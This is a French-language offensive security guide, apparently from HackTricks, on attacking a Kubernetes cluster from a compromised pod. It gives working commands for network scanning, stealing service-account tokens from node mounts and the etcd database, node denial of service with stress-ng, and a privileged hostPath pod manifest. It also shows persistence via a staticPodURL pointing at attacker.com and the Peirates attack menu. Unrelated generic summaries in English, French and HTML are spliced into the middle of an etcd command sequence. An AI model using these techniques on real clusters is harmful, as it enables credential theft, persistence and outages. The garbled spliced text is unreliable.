Attacking Kubernetes from inside a Pod

Attaquer Kubernetes depuis l'intérieur d'un Pod

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Évasion du Pod

Si vous avez de la chance, vous pourriez réussir à vous échapper vers le nœud :

Évasion du pod

Pour essayer de vous échapper du pod, vous pourriez avoir besoin de d'abord escalader les privilèges, voici quelques techniques pour le faire :

Vous pouvez vérifier ces évasions de docker pour essayer de vous échapper d'un pod que vous avez compromis :

Abus des privilèges Kubernetes

Comme expliqué dans la section sur l'énumération de Kubernetes :

Généralement, les pods sont exécutés avec un jeton de compte de service à l'intérieur d'eux. Ce compte de service peut avoir certains privilèges attachés que vous pourriez abuser pour passer à d'autres pods ou même pour vous échapper vers les nœuds configurés à l'intérieur du cluster. Découvrez comment faire dans :

Abus des privilèges Cloud

Si le pod est exécuté à l'intérieur d'un environnement cloud, vous pourriez être en mesure de récupérer un jeton à partir du point de terminaison des métadonnées et d'escalader les privilèges en l'utilisant.

Recherche de services réseau vulnérables

Étant donné que vous êtes à l'intérieur de l'environnement Kubernetes, si vous ne pouvez pas escalader les privilèges en abusant des privilèges actuels des pods et que vous ne pouvez pas vous échapper du conteneur, vous devriez rechercher des services potentiellement vulnérables.

Services

À cette fin, vous pouvez essayer d'obtenir tous les services de l'environnement Kubernetes :

kubectl get svc --all-namespaces

Par défaut, Kubernetes utilise un schéma de réseau plat, ce qui signifie que tout pod/service au sein du cluster peut communiquer avec les autres. Les espaces de noms au sein du cluster n'ont aucune restriction de sécurité réseau par défaut. Tout le monde dans l'espace de noms peut communiquer avec d'autres espaces de noms.

Balayage

Le script Bash suivant (issu d'un atelier Kubernetes) installera et balayera les plages IP du cluster Kubernetes :

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Consultez la page suivante pour apprendre comment vous pourriez attaquer des services spécifiques de Kubernetes pour compromettre d'autres pods/tout l'environnement:

Sniffing

Dans le cas où le pod compromis exécute un service sensible où d'autres pods doivent s'authentifier, vous pourriez être en mesure d'obtenir les informations d'identification envoyées par les autres pods en sniffant les communications locales.

Network Spoofing

Par défaut, des techniques telles que le spoofing ARP (et grâce à cela le spoofing DNS) fonctionnent dans le réseau Kubernetes. Ensuite, à l'intérieur d'un pod, si vous avez la capacité NET_RAW (qui est activée par défaut), vous pourrez envoyer des paquets réseau personnalisés et effectuer des attaques de l'homme du milieu via le spoofing ARP sur tous les pods s'exécutant sur le même nœud. De plus, si le pod malveillant s'exécute sur le même nœud que le serveur DNS, vous pourrez effectuer une attaque de spoofing DNS sur tous les pods du cluster.

Node DoS

Il n'y a pas de spécification de ressources dans les manifestes Kubernetes et aucune limite appliquée pour les conteneurs. En tant qu'attaquant, nous pouvons consommer toutes les ressources où s'exécute le pod/déploiement et priver d'autres ressources, provoquant un DoS pour l'environnement.

Cela peut être fait avec un outil tel que stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Vous pouvez voir la différence pendant l'exécution de stress-ng et après

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Post-Exploitation du Nœud

Si vous avez réussi à échapper au conteneur, vous trouverez des éléments intéressants dans le nœud :

  • Le processus Container Runtime (Docker)

  • Plusieurs pods/conteneurs s'exécutant dans le nœud que vous pouvez exploiter comme celui-ci (plus de jetons)

  • L'ensemble du système de fichiers et de l'OS en général

  • Le service Kube-Proxy en écoute

  • Le service Kubelet en écoute. Vérifiez les fichiers de configuration :

    • Répertoire : /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Autres fichiers kubernetes courants :

    • $HOME/.kube/config - Configuration utilisateur

    • /etc/kubernetes/kubelet.conf- Configuration régulière

    • /etc/kubernetes/bootstrap-kubelet.conf - Configuration de démarrage

    • /etc/kubernetes/manifests/etcd.yaml - Configuration etcd

    • /etc/kubernetes/pki - Clé Kubernetes

Trouver le kubeconfig du nœud

Si vous ne parvenez pas à trouver le fichier kubeconfig dans l'un des chemins précédemment commentés, vérifiez l'argument --kubeconfig du processus kubelet :

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Vol de Secrets

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Le script can-they.sh va automatiquement obtenir les jetons d'autres pods et vérifier s'ils ont la permission que vous recherchez (au lieu que vous les cherchiez un par un):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets Privilégiés

Un DaemonSet est un pod qui sera exécuté sur tous les nœuds du cluster. Par conséquent, si un DaemonSet est configuré avec un compte de service privilégié, sur TOUS les nœuds, vous pourrez trouver le jeton de ce compte de service privilégié que vous pourriez exploiter.

L'exploit est le même que dans la section précédente, mais maintenant vous ne dépendez plus de la chance.

Pivot vers le Cloud

Si le cluster est géré par un service cloud, généralement le Nœud aura un accès différent à l'endpoint de métadonnées que le Pod. Par conséquent, essayez d'accéder à l'endpoint de métadonnées depuis le nœud (ou depuis un pod avec hostNetwork à True) :

Voler etcd

Si vous pouvez spécifier le nom du nœud du Nœud qui exécutera le conteneur, obtenez un shell à l'intérieur d'un nœud du plan de contrôle et récupérez la base de données etcd :

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Les nœuds de plan de contrôle ont le rôle de maître et dans les clusters gérés dans le cloud, vous ne pourrez pas exécuter quoi que ce soit dessus.

Lire les secrets depuis etcd

Si vous pouvez exécuter votre pod sur un nœud de plan de contrôle en utilisant le sélecteur nodeName dans la spécification du pod, vous pourriez avoir un accès facile à la base de données etcd, qui contient toute la configuration du cluster, y compris tous les secrets.

Voici une méthode rapide et peu orthodoxe pour récupérer des secrets depuis etcd s'il est en cours d'exécution sur le nœud de plan de contrôle sur lequel vous vous trouvez. Si vous souhaitez une solution plus élégante qui lance un pod avec l'utilitaire client etcd etcdctl et utilise les informations d'identification du nœud de plan de contrôle pour se connecter à etcd où qu'il soit en cours d'exécution, consultez ce manifeste d'exemple de @mauilion.

Vérifiez si etcd est en cours d'exécution sur le nœud de plan de contrôle et voyez où se trouve la base de données (Ceci est sur un cluster créé avec kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

When an attacker gains access to a pod within a Kubernetes cluster, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:

1. **Pod Escape**: Exploiting vulnerabilities in the container runtime to break out of the pod and access the host machine.

2. **Service Account Compromise**: Accessing sensitive resources by compromising the service account token mounted within the pod.

3. **Network Sniffing**: Monitoring network traffic within the cluster to intercept sensitive information.

4. **Pod Resource Exhaustion**: Consuming excessive resources within a pod to disrupt the performance of other pods in the cluster.

To protect against these attacks, it is essential to implement security best practices such as restricting pod permissions, regularly updating container images, and monitoring network traffic for any suspicious activity.
<p>## Attacking Kubernetes from Inside a Pod</p>

<p>When an attacker gains access to a pod within a Kubernetes cluster, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:</p>

<ol>
<li><strong>Pod Escape</strong>: Exploiting vulnerabilities in the container runtime to break out of the pod and access the host machine.</li>
<li><strong>Service Account Compromise</strong>: Accessing sensitive resources by compromising the service account token mounted within the pod.</li>
<li><strong>Network Sniffing</strong>: Monitoring network traffic within the cluster to intercept sensitive information.</li>
<li><strong>Pod Resource Exhaustion</strong>: Consuming excessive resources within a pod to disrupt the performance of other pods in the cluster.</li>
</ol>

<p>To protect against these attacks, it is essential to implement security best practices such as restricting pod permissions, regularly updating container images, and monitoring network traffic for any suspicious activity.</p>
data-dir=/var/lib/etcd

Voir les données dans la base de données etcd :

strings /var/lib/etcd/member/snap/db | less

Extraire les jetons de la base de données et afficher le nom du compte de service

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Même commande, mais avec quelques greps pour ne renvoyer que le jeton par défaut dans l'espace de noms kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Attaquer Kubernetes depuis l'intérieur d'un pod

Lorsqu'un attaquant a réussi à compromettre un pod Kubernetes, il peut utiliser différentes techniques pour étendre son contrôle et attaquer d'autres parties du cluster. Voici quelques méthodes courantes pour attaquer Kubernetes depuis l'intérieur d'un pod :

1. Utilisation de l'API Kubernetes

L'API Kubernetes est puissante et peut être utilisée pour effectuer diverses actions malveillantes, telles que la création de nouveaux pods, le déploiement de charges utiles malveillantes, la modification de ressources, etc.

2. Exploration du réseau

Une fois à l'intérieur d'un pod, un attaquant peut explorer le réseau Kubernetes pour découvrir d'autres pods, services et ressources sensibles. Cela peut l'aider à planifier des attaques ciblées.

3. Écoute du trafic réseau

En écoutant le trafic réseau à l'intérieur du cluster Kubernetes, un attaquant peut intercepter des données sensibles telles que des informations d'identification, des secrets ou d'autres données confidentielles.

4. Élévation de privilèges

En exploitant des vulnérabilités ou des erreurs de configuration, un attaquant peut essayer d'élever ses privilèges à l'intérieur du cluster Kubernetes pour obtenir un accès plus étendu et des autorisations supplémentaires.

Il est essentiel de sécuriser correctement les pods Kubernetes pour prévenir ces types d'attaques et limiter les dommages potentiels.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Persistance des Pods Statiques/Miroirs

Les Pods Statiques sont gérés directement par le démon kubelet sur un nœud spécifique, sans que le serveur API les observe. Contrairement aux Pods gérés par le plan de contrôle (par exemple, un Déploiement); au lieu de cela, le kubelet surveille chaque Pod statique (et le redémarre en cas d'échec).

Par conséquent, les Pods statiques sont toujours liés à un seul Kubelet sur un nœud spécifique.

Le kubelet essaie automatiquement de créer un Pod miroir sur le serveur API Kubernetes pour chaque Pod statique. Cela signifie que les Pods s'exécutant sur un nœud sont visibles sur le serveur API, mais ne peuvent pas être contrôlés à partir de là. Les noms des Pods seront suffixés avec le nom d'hôte du nœud avec un tiret en tête.

La spec d'un Pod statique ne peut pas faire référence à d'autres objets API (par exemple, ServiceAccount, ConfigMap, Secret, etc. Ainsi, vous ne pouvez pas abuser de ce comportement pour lancer un pod avec un ServiceAccount arbitraire dans le nœud actuel pour compromettre le cluster. Mais vous pourriez l'utiliser pour exécuter des pods dans différents espaces de noms (si cela est utile pour une raison quelconque).

Si vous êtes à l'intérieur de l'hôte du nœud, vous pouvez le faire créer un pod statique à l'intérieur de lui-même. Cela est assez utile car cela pourrait vous permettre de créer un pod dans un espace de noms différent comme kube-system.

Pour créer un pod statique, les docs sont d'une grande aide. Vous avez essentiellement besoin de 2 choses :

  • Configurer le paramètre --pod-manifest-path=/etc/kubernetes/manifests dans le service kubelet, ou dans la configuration kubelet (staticPodPath) et redémarrer le service

  • Créer la définition sur le pod definition dans /etc/kubernetes/manifests

Une autre manière plus discrète serait de :

  • Modifier le paramètre staticPodURL du fichier de configuration de kubelet et définir quelque chose comme staticPodURL: http://attacker.com:8765/pod.yaml. Cela fera en sorte que le processus kubelet crée un pod statique en obtenant la configuration à partir de l'URL indiquée.

Exemple de configuration de pod pour créer un pod privilégié dans kube-system tiré de ici:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Supprimer des pods + nœuds non planifiables

Si un attaquant a compromis un nœud et peut supprimer des pods d'autres nœuds et rendre d'autres nœuds incapables d'exécuter des pods, les pods seront relancés dans le nœud compromis et il pourra voler les jetons exécutés en eux. Pour plus d'informations, suivez ces liens.

Outils Automatiques

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks:

Dernière mise à jour